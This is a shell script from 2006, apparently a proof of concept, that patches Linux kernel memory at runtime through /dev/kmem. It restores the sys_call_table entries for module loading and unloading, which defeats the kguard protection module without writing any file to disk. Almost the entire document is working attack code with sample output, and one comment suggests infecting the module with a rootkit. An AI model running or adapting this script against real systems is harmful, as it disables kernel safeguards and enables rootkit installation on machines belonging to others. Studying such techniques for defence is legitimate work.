#!/bin/sh
#
# This program is distributed WITHOUT ANY WARRANTY, MERCHANTABILITY or FITNESS
# FOR A PARTICULAR PURPOSE. The author is not responsible for any incidential
# or consequential damage caused by the program. Only YOU are responsible!
#
# Apparently, people think its easy to protect the kernel against some malicious
# kernel module. kguard (search for it at packet storm) is a good example for
# crapy 'security modules' (mind the scare quotes). Well, who cares. Anyway its
# a good example to demonstrate how to do runtime kernel memory patching with
# a simple shell script and without creating any file on the system. (Also, note
# that you could simply infect the kguard module with your rootkit).
#
# Theres nothing radically new here. runtime kernel memory patching is around
# for quite some years. For reference see Silvio Cesares paper "Runtime kernel
# kmem patching" (that was the first, i think). However, doing it with a shell
# script is somewhat new. With some simple shell tricks we avoid creating any
# file on the filesystem. Major drawback of kpatch.sh is that it needs a valid
# System.map file (mainly because i am too lazy to implement the sys_call_table
# searching). Also needed are some basic utilities like awk, perl, etc. read the
# code ...
#
# the output of kpatch.sh will look similar to:
#
# slurm:~# insmod stuff/kguard/kguard.ko 
# slurm:~# rmmod kguard
# Protected though Kernel-Guard
# ERROR: Removing 'kguard': Operation not permitted
# slurm:~# SYSTEM_MAP=/boot/System.map-2.6.8-2-386 ./kpatch.sh 
# kpatch.sh - runtime kernel memory patching
# ==========================================
# ...
# <some output>
# ...
# [+] main: finished.
# slurm:~# rmmod kguard
# slurm:~#
#
# Kilian Klimek <kklimek[at]uos.de>, Feb 5th 2006
#

function note () {
	if [ "$1" -eq 0 ]; then
		echo -e -n "[+]" $2
	elif [ "$1" -eq 1 ]; then
		echo -e -n "" $2
	else
		echo -e "" $2
	fi
}

function init () {
	note 0 "init: checking configuration."
	note 2 ""
	if [ -z $KMEM_FILE ]; then
		KMEM_FILE=/dev/kmem
		note 0 "Setting kmem file:\t\t\t"
		note 2 $KMEM_FILE
	fi

	if [ -z $PERL_BIN ]; then
		note 0 "Using perl binary:\t\t\t"
		PERL_BIN=`which perl`
		if [ -z $PERL_BIN ]; then
			note 2 "failed."
			exit 1
		fi
		note 2 $PERL_BIN
	fi

	if [ -z $SYSTEM_MAP ]; then
		SYSTEM_MAP=/boot/System.map-`uname -r`
		note 0 "Using System.map file:\t\t"
		note 2 $SYSTEM_MAP

		if [ ! -f $SYSTEM_MAP ]; then
			note 0 "file does not exists."
			note 2 ""
			exit 0
		fi
	fi

	OFF_INIT_MODULE=`expr 4 \* 128`
	OFF_DELETE_MODULE=`expr 4 \* 129`

	note 0 "init: done."
	note 2 ""
	echo
}

function kread_uint () {
	KREAD_OUT=`cat <<__EOF__ | $PERL_BIN
open (\\$fd, "$KMEM_FILE");
sysseek (\\$fd, $1, 0);
sysread (\\$fd, \\$b, 4);
\\$a = unpack ("V8", \\$b);
printf ("%08x", \\$a);
__EOF__`
}

function kwrite_uint () {
	cat <<__EOF__ | $PERL_BIN
open (\$fd, "+<$KMEM_FILE");
sysseek (\$fd, $2, 0);
\$a = substr ($1, 6, 2);
\$a .= substr ($1, 4, 2);
\$a .= substr ($1, 2, 2);
\$a .= substr ($1, 0, 2);
syswrite (\$fd, pack ("H8", \$a), 4);
__EOF__
}

function sym_addr () {
	SYM_ADDR_OUT=`grep " $1$" $SYSTEM_MAP`
	SYM_ADDR_OUT=`echo $SYM_ADDR_OUT | awk '{print $1}'`
}

function main () {
	echo "kpatch.sh - runtime kernel memory patching"
	echo "=========================================="
	echo
	init
	echo ""

	note 0 "main: getting symbols."
	note 2 ""

	note 0 "Getting address of sys_call_table:\t\t"
	sym_addr sys_call_table
	SCT_MEM_ADDR=$SYM_ADDR_OUT
	note 2 "0x"$SYM_ADDR_OUT

	note 0 "Getting address of sys_init_module:\t\t"
	sym_addr sys_init_module
	ADDR_INIT_MODULE=$SYM_ADDR_OUT
	note 2 "0x"$SYM_ADDR_OUT

	note 0 "Getting address of sys_delete_module:\t"
	sym_addr sys_delete_module
	ADDR_DELETE_MODULE=$SYM_ADDR_OUT
	note 2 "0x"$SYM_ADDR_OUT

	echo
	note 0 "main: reading syscall addresses from sys_call_table ..."
	note 2 ""
	note 1 "\t ... sys_init_module:\t\t\t"
	kread_uint "0x$SCT_MEM_ADDR + $OFF_INIT_MODULE"
	note 2 "0x"$KREAD_OUT

	note 1 "\t ... sys_delete_module:\t\t\t"
	kread_uint "0x$SCT_MEM_ADDR + $OFF_DELETE_MODULE"
	note 2 "0x"$KREAD_OUT

	echo
	note 0 "main: patching ..."
	note 2 ""
	note 1 "\t ... sys_init_module:\t\t\t"
	kwrite_uint $ADDR_INIT_MODULE "0x$SCT_MEM_ADDR + $OFF_INIT_MODULE" 
	note 2 "ok"

	note 1 "\t ... sys_delete_module:\t\t\t"
	kwrite_uint $ADDR_DELETE_MODULE "0x$SCT_MEM_ADDR + $OFF_DELETE_MODULE" 
	note 2 "ok"
	note 0 "main: finished."
	note 2 ""
	exit 0
}

main
